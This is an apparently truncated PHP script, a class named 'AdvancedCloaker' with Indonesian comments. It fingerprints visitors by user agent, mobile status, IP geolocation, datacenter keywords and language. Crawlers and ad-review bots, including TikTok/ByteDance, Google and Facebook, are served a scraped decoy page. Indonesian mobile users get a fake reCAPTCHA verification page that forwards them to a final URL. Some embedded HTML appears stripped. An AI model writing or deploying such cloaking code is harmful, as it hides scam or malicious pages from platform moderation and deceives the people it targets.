safeUrl = $safeUrl; $this->finalDestination = $finalDestination; $this->cacheDir = __DIR__ . '/cache/'; $this->userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $this->acceptLanguage = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''); $this->userIp = $this->detectRealIp(); } private function detectRealIp(): string { if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) return $_SERVER['HTTP_CF_CONNECTING_IP']; if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) return trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]); return $_SERVER['REMOTE_ADDR'] ?? ''; } public function run(): void { $this->calculateRiskScore(); // Skor 30 ke atas dianggap Bot / Tidak Valid if ($this->riskScore >= 30) { $this->serveSafePage(); } else { // Skor aman (Manusia asli) -> Tampilkan halaman Verifikasi reCAPTCHA $this->serveVerificationPage(); } } // ========================================== // 1. MESIN DETEKSI & SCORING // ========================================== private function calculateRiskScore(): void { if ($this->isKnownBot()) { $this->riskScore += 100; return; } if (!$this->isMobile()) { $this->riskScore += 50; return; } $ipData = $this->getIpIntelligence(); if (!$ipData || $ipData->countryCode !== 'ID') { $this->riskScore += 40; return; } if ($this->isDatacenter($ipData->org, $ipData->as)) { $this->riskScore += 100; return; } if ($this->isLanguageMismatch()) { $this->riskScore += 30; } } private function isKnownBot(): bool { $botPattern = '/(googlebot|adsbot-google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|facebot|facebookexternalhit|twitterbot|linkedinbot|applebot|tiktokbot|bytedancewebbot|bytespider|ahrefsbot|semrushbot|mj12bot|lighthouse|curl|wget|python|java\/|headless|selenium|webdriver)/i'; return preg_match($botPattern, $this->userAgent) === 1; } private function isMobile(): bool { return preg_match('/(iphone|android|mobile|samsung|xiaomi|oppo|vivo|realme)/i', $this->userAgent) === 1; } private function getIpIntelligence(): ?object { $cacheFile = $this->cacheDir . 'ip_' . md5($this->userIp) . '.json'; // Cache IP selama 6 jam (21600 detik) if (file_exists($cacheFile) && (time() - filemtime($cacheFile) < 21600)) { return json_decode(file_get_contents($cacheFile)); } $ctx = stream_context_create(['http' => ['timeout' => 2]]); // Hanya ambil field yang diperlukan untuk hemat bandwidth & cepat $response = @file_get_contents("http://ip-api.com/json/{$this->userIp}?fields=status,message,countryCode,as,org", false, $ctx); if ($response) { $data = json_decode($response); if ($data && $data->status === 'success') { if (!is_dir($this->cacheDir)) mkdir($this->cacheDir, 0755, true); file_put_contents($cacheFile, json_encode($data)); return $data; } } return null; } private function isDatacenter(string $org, string $as): bool { $checkStr = strtolower($org . ' ' . $as); $dcKeywords = [ 'amazon', 'aws', 'google', 'microsoft', 'azure', 'oracle', 'alibaba', 'tencent', 'digitalocean', 'linode', 'akamai', 'vultr', 'hetzner', 'ovh', 'leaseweb', 'cloudflare', 'fastly', 'quadranet', 'buyvm', 'hostinger', 'datacenter', 'server', 'bytedance', 'tiktok', 'douyin' ]; foreach ($dcKeywords as $keyword) { if (strpos($checkStr, $keyword) !== false) return true; } return false; } private function isLanguageMismatch(): bool { if (empty($this->acceptLanguage)) return true; return (strpos($this->acceptLanguage, 'id') === false && strpos($this->acceptLanguage, 'en-us') === false); } // ========================================== // 2. HALAMAN VERIFIKASI (UI reCAPTCHA v2) // ========================================== private function serveVerificationPage(): void { echo ' Verifikasi Keamanan
Saya bukan robot- tekan kotak>>>
'; exit; } // ========================================== // 3. HALAMAN BOT (cURL SCRAPE + CACHE) // ========================================== private function serveSafePage(): void { $cacheFile = $this->cacheDir . md5($this->safeUrl) . '.html'; // Cache HTML selama 1 jam if (file_exists($cacheFile) && (time() - filemtime($cacheFile) < 3600)) { echo file_get_contents($cacheFile); exit; } $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $this->safeUrl, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_TIMEOUT => 10, CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0 (Linux; Android 13; SM-A145F) AppleWebKit/537.36', CURLOPT_ENCODING => 'gzip, deflate', CURLOPT_HTTPHEADER => [ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8', 'Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7', 'Cache-Control: max-age=0' ] ]); $html = curl_exec($ch); curl_close($ch); if ($html) { // Wajib pasang Base HREF supaya CSS/JS/ Gambar TikTok tidak error $baseTag = ''; $html = str_ireplace('', '' . "\n" . $baseTag, $html); if (!is_dir($this->cacheDir)) mkdir($this->cacheDir, 0755, true); file_put_contents($cacheFile, $html); echo $html; exit; } // Fallback jika TikTok sedang down / blocked oleh hosting http_response_code(503); echo "Temporarily Unavailable"; exit; } } // ============================================ // KONFIGURASI & EKSEKUSI // ============================================ $engine = new AdvancedCloaker( "https://thaihostpros.pages.dev/", // Safe URL (Untuk Bot) "https://thaihostpros.pages.dev/" // Final URL (Untuk User setelah klik verifikasi) ); $engine->run();